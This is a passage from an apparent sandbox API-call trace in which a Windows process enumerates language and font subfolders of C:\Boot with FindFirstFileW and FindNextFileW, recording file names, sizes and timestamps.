ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.917] FindClose (in: hFindFile=0x7b52a0 | out: hFindFile=0x7b52a0) returned 1 [0042.917] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.917] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0042.917] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.917] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.918] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.918] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.918] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.918] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.918] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0042.918] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.918] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.919] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.919] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.919] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.919] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.919] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0042.919] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.919] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.920] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.920] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0042.920] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.920] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.920] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0042.920] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.920] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.921] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.921] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.921] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.921] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.921] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0042.922] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.922] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.922] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.922] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.922] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.922] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.922] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0042.922] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.922] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.923] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.923] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.923] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.923] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.923] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0042.923] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.923] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.924] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.924] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.924] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.924] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.924] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0042.924] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.924] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.925] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.925] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.925] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.925] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.925] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0042.925] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.925] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.925] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.926] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.926] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.926] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.926] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0042.926] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.926] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2e18 [0042.927] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.927] FindNextFileW (in: hFindFile=0x7b2e18, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.927] FindClose (in: hFindFile=0x7b2e18 | out: hFindFile=0x7b2e18) returned 1 [0042.927] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.927] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0042.927] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.927] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", 